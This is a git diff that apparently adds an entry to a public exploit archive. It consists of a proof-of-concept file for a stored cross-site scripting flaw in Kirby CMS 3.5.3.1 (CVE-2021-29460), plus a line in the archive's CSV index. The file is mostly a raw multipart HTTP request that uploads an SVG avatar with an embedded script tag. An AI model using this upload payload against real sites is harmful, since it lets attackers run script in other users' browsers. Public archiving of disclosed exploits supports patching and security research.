diff --git a/exploits/php/webapps/49808.txt b/exploits/php/webapps/49808.txt
new file mode 100644
index 000000000..e03a68be0
--- /dev/null
+++ b/exploits/php/webapps/49808.txt
@@ -0,0 +1,40 @@
+# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
+# Date: 21-04-2021
+# Exploit Author: Sreenath Raghunathan
+# Vendor Homepage: https://getkirby.com/
+# Software Link: https://github.com/getkirby/kirby
+# Version: 3.5.3.1(REQUIRED)
+# CVE : CVE-2021-29460
+
+POST /api/users/<userid>/avatar HTTP/1.1
+Host: <host>
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
+Gecko/20100101 Firefox/87.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+X-CSRF: <redacted>
+Content-Type: multipart/form-data;
+boundary=---------------------------286121627839893676321700902916
+Content-Length: 563
+
+Connection: close
+Cookie:
+<redacted>
+
+
+
+-----------------------------286121627839893676321700902916
+Content-Disposition: form-data; name="file"; filename="svgxss.svg"
+Content-Type: image/svg+xml
+
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+
+<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
+  <polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
+stroke="#004400"/>
+  "><script>alert(1)</script>
+</svg>
+-----------------------------286121627839893676321700902916--
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index fcba2bd35..f3744a37f 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -43979,3 +43979,4 @@ id,file,description,date,author,type,platform,port
 49804,exploits/php/webapps/49804.py,"SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)",2021-04-26,nu11secur1ty,webapps,php,
 49805,exploits/php/webapps/49805.txt,"Kimai 1.14 - CSV Injection",2021-04-27,"Mohammed Aloraimi",webapps,php,
 49806,exploits/php/webapps/49806.txt,"Montiorr 1.7.6m - File Upload to XSS",2021-04-27,"Ahmad Shakla",webapps,php,
+49808,exploits/php/webapps/49808.txt,"Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)",2021-04-28,"Sreenath Raghunathan",webapps,php,